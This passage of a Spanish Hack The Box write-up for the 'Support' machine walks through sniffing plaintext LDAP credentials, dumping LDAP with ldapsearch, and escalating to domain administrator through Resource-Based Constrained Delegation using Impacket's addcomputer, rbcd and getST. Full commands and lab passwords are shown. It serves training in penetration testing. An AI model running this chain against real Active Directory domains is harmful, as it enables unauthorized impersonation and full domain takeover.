&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe -find &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Usage&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; UserInfo.exe [&lt;span style="color:#66d9ef"&gt;options] [commands&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v|--verbose Verbose output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Commands&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; find Find a user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; user Get information about a user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;-find&amp;#39;&lt;/span&gt; is not recognized as a valid command or option.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Did you mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; find
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe find &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] At least one of -first or -last is required.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe find -first lala &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Exception&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Connect Error
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aparece un &lt;strong&gt;Connect Error&lt;/strong&gt;. Abrimos Wireshark para entender qué ocurre.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80a2-9911-db18444f20db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La causa es que necesitamos resolver el dominio (añadir el nombre de dominio a la IP, para que el DNS resuelva correctamente).&lt;/p&gt;
&lt;p&gt;Al revisar el tráfico, vemos que &lt;strong&gt;UserInfo.exe&lt;/strong&gt; se comunica con el servidor usando el usuario &lt;strong&gt;ldap&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80f3-b919-f11fcdc5ac33.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo importante: las credenciales viajan &lt;strong&gt;en texto plano&lt;/strong&gt;, así que obtenemos el primer par usuario:contraseña.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-809d-a8b6-e687ba095d23.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración-de-ad"&gt;Enumeración de AD&lt;/h2&gt;
&lt;p&gt;Con estas credenciales lanzamos enumeración con BloodHound.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-803c-b3ce-f921b4ceb5cb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;No aparece un camino directo, pero destaca el usuario &lt;strong&gt;support.htb&lt;/strong&gt;, ya que pertenece a un grupo no estándar.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-808f-8e7c-e6ca43ccc88c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Como BloodHound no siempre recoge todo, enumeramos también vía &lt;strong&gt;LDAP&lt;/strong&gt; para obtener campos adicionales (por ejemplo, &lt;code&gt;info&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ldapsearch -H ldap&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//support.htb -D &lt;span style="color:#e6db74"&gt;&amp;#39;ldap@support.htb&amp;#39;&lt;/span&gt; -w &lt;span style="color:#e6db74"&gt;&amp;#39;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&amp;#39;&lt;/span&gt; -b &lt;span style="color:#e6db74"&gt;&amp;#39;DC=support,DC=htb&amp;#39;&lt;/span&gt; &amp;gt; ldap.out
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En la salida encontramos una credencial en claro en el campo &lt;code&gt;info&lt;/code&gt; de un usuario.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c5-bfc1-f96394a9d81e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;support.htb:Ironside47pleasure40Watchful
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-805f-a01f-f76834589eda.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con esto obtenemos la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8000-98a8-db67e2aaa6a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-resource-based-constrained-delegation-rbcd"&gt;Escalada: Resource-Based Constrained Delegation (RBCD)&lt;/h2&gt;
&lt;p&gt;A partir del grafo de BloodHound, el camino a &lt;strong&gt;Domain Admin&lt;/strong&gt; pasa por &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="resumen-rápido-de-rbcd"&gt;Resumen rápido de RBCD&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Objetivo:&lt;/strong&gt; lograr que un equipo/servicio acepte que nuestra cuenta puede &lt;strong&gt;suplantar&lt;/strong&gt; (impersonate) a otro usuario al pedir tickets Kerberos.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idea:&lt;/strong&gt; crear una cuenta de máquina controlada por el atacante, permitirle actuar en nombre de otros sobre el objetivo y luego solicitar un ticket para un servicio del objetivo suplantando a &lt;code&gt;Administrator&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="paso-1-crear-una-cuenta-de-equipo-controlada-por-el-atacante"&gt;Paso 1: crear una cuenta de equipo controlada por el atacante&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;(Usamos Impacket para crear `ATTACKERSYSTEM$`.)
&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-addcomputer -method SAMR -computer-name &amp;#39;ATTACKERSYSTEM$&amp;#39; -computer-pass &amp;#39;Summer2018!&amp;#39; -dc-host 10.129.230.181 -domain-netbios support.htb &amp;#39;support.htb/support:Ironside47pleasure40Watchful&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="paso-2-permitir-delegación-sobre-el-objetivo-dc"&gt;Paso 2: permitir delegación sobre el objetivo (DC$)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Escribimos el atributo para que `ATTACKERSYSTEM$` pueda actuar en nombre de otros usuarios sobre el objetivo.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-rbcd -delegate-from &amp;#39;ATTACKERSYSTEM$&amp;#39; -delegate-to &amp;#39;DC$&amp;#39; -action &amp;#39;write&amp;#39; -dc-ip 10.129.230.181 &amp;#39;support.htb/support:Ironside47pleasure40Watchful&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Delegation rights modified successfully!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Accounts allowed to act on behalf of other identity&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] ATTACKERSYSTEM$ (S-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1677581083&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;3380853377&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;188903654&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;6103&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="paso-3-solicitar-un-service-ticket-suplantando-a-administrator"&gt;Paso 3: solicitar un Service Ticket suplantando a Administrator&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-getST -spn &amp;#39;cifs/dc.support.htb&amp;#39; -impersonate &amp;#39;administrator&amp;#39; &amp;#39;support.htb/attackersystem$:Summer2018!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] CCache file is not found. Skipping...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Getting TGT &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Impersonating administrator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Requesting S4U2self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Requesting S4U2Proxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saving ticket &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;klist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8030-a1a9-e5afe5793bfe.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con el ticket en sesión, ya tenemos acceso como &lt;strong&gt;administrator&lt;/strong&gt;.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>